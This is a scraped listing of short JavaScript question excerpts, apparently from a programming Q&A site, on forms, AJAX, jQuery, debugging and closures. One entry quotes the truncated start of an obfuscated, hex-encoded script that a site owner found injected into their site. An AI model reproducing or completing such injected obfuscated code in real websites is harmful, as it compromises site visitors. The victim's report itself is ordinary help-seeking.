javascript

Sending multiple checkbox options

Hi, I'm creating a used cars website (written in PHP), and I'm stuck on sending advanced search options from form. I have more than 30 of them and I wonder if it's possible, and how, to send them in one variable (for example &options=1,2,3,5,6,10 or some other way..). Also I've heard that this is possible with "bitwise" but I don't have ...

Need Help With This Simple Script (JavaScript Noob Question)

Hi everyone, I am new to JavaScript (only a couple of days of reading a book) and I am stuck on this code snippet. I have looked at it over and over again but cannot seem to figure out why it is not working. I am sure it is something really simple that I have just looked over but I really just need a fresh pair of eyes to look at this....

Malicious javascript code in my website

I found this code in my website sourcecode: var _0xd28d=["\x5F\x30\x78\x33\x32\x6C\x73\x6A\x39","\x5F\x78\x6C\x74","\x5F\x78\x38\x66\x6B\x63\x33","\x66\x6C\x6F\x6F\x72","\x72\x61\x6E\x64\x6F\x6D","\x6C\x65\x6E\x67\x74\x68"]; var _0x9ae4=[_0xd28d[0],12,_0xd28d[1],_0xd28d[2],2,31,Math,_0xd28d[3]]; var _0xcd6e=[_0x9ae4[5],_0x9ae4[0],_0x9ae...

Ajax doesn't trigger a change-event on a webkit based browser

I have adapted a Jquery plugin to for-fill my needs to send GET requests to servers as a way of "pinging" them. I've also added some javascript code to add some fancy features like: depending on the changed value in a span that the Jquery plugin changes, it changes the Icon accordingly. To make it all work essentially, I made so that w...

Refresh DOM with jquery after AJAX call

I'm working on a new project http://www.hotwirerevealed.com which reveals / identifies hotels on hotwire.com. After inputting a state and a destination I have a javascript functions that uses jquery's .post method to post. The post request goes to an php page which outputs html, I se jquery's html method to place the content on the page....

Where should JavaScript be put?

I've been doing a little JavaScript (well, more like jQuery) for a while now and one thing I've always been confused about is where I should put my scripts, in the <head> tag or in the <body> tag. If anyone could clarify this issue, that'd be great. An example of what should go where would be perfect. ...

Debugging of JavaScript

I come from Java Background and so used to Debugging using Eclipse but have recently started on JavaScript(jQuery in particular) and am having really hard time debugging JavaScript Code so my question is What are the best ways of Debugging JavaScript ? I have tried using Firebug and it is good, but wanted to know If we have any othe...

Excluding clicks within a DIV from a window.onbeforeunload

Given the following function: window.onbeforeunload= function() { if (CKEDITOR.instances.stuff.getData().length > 0 && oktoquit == false) { return "You have unsaved changes. Click Cancel now, then 'Save' to save them. Click OK now to discard them."; } }; I'd like a way to exclude this function from running if the user ...

JavaScript issues

My javascript is not working right. It is simple pre-vailidation form and I can not get the script to work. It is supposed to validate each field but I can not get it to validate past the first name. I stripped out all of the other garbage so the code would not be confusing Should be a copy paste to notepad. Little help please <?x...

Javscript closure questions

While I was reading the book Javascript: The Good Parts. I can not understand the piece of code bellow: We can generalize this by making a function that helps us make memoized functions. The memoizer function will take an initial memo array and the fundamental function. It returns a shell function that manages the memo st...

YouTube player api - addEventListener() does not work for me?

Hi, I'm using the youtube player api. I'm following the doc here: http://code.google.com/apis/youtube/js_api_reference.html having a problem adding an event listener on the player, it seems to just get stuck there. I put an alert statement directly after, which never gets called: ytplayer.addEventListener("onStateChange", "onytplayer...

How do I validate numbers in Javascript?

How to validate a numeric numbers? ...

Changing Opacity of All Elements but One Div

I'm trying to fade all elements on a webpage except for one div. I've been able to fade all the elements with the following jQuery: $('*').css('opacity', .3); However, it seems as if opacity is a property that inherits from parent elements, even if I explicitly set the opacity of the div to 1. I'm drawing a blank as to any solutions...

Event Capturing vs Event Bubbling

I just wanted to get the general consensus on which is a better mode of event delegation in JS between bubbling and capturing. Now I understand that depending on a particular use-case, one might want to use capturing phase over bubbling or vice versa but I want to understand what delegation mode is preferred for most general cases and w...

can a crawler be written entirely in javascript?

I was wondering - can a crawler be written entirely in javascript? That way, the crawler is only called when a user needs the information and everything is run from the individual user's computer. if crawler is written server side - doesn't that also run the risk of the IP being blocked? ...

How do I make a jQuery POST function open the new page?

I know that a submit button in HTML can submit a form which opens the target page, but how do I cause a jQuery ajax call to POST information to a new page and also display the new page. I am submitting information that is gathered by clicking elements (which toggle a new class called "select") and then identifiers from these items with ...

Is there a javascript library that contains a rich set of very high level commonly used functions?

I find that many high level functions are missing in most well-known javascript libraries such as jquery, YUI...etc. Taking string manipulation as an example, startsWith, endsWith, contains, lTrim, rTrim, trim, isNullOrEmpty...etc. These function are actually very common ones. I would like to know if there exists a javascript library/ p...

How to shake the page with JavaScript

I want to prompt the user that something special has happened, so I want to shake the page or blink the whole page. How can I do this in JavaScript? ...

JavaScript Load New Page Question

What I am looking to do is if a user complete a form it will provide access to a new location. <script language="JavaScript" type="text/javascript"> <!-- function validateForm(theForm) { var firstname = theForm.firstname.value; var lastname = theForm.lastname.value; var email = theForm.email.value; if (fir...

Any way to do slanted/diagonal mouseovers via css/javascript?

Hi, I have a box built via html borders. I want to connect the bottom left corner to the top right corner with a diagonal line. Either with html/css or by using a background image, doesn't matter. I'll figure that part out later. ------ - /- - / - - / - -/---- Here's the tricky part: I want a different thing to happen depending o...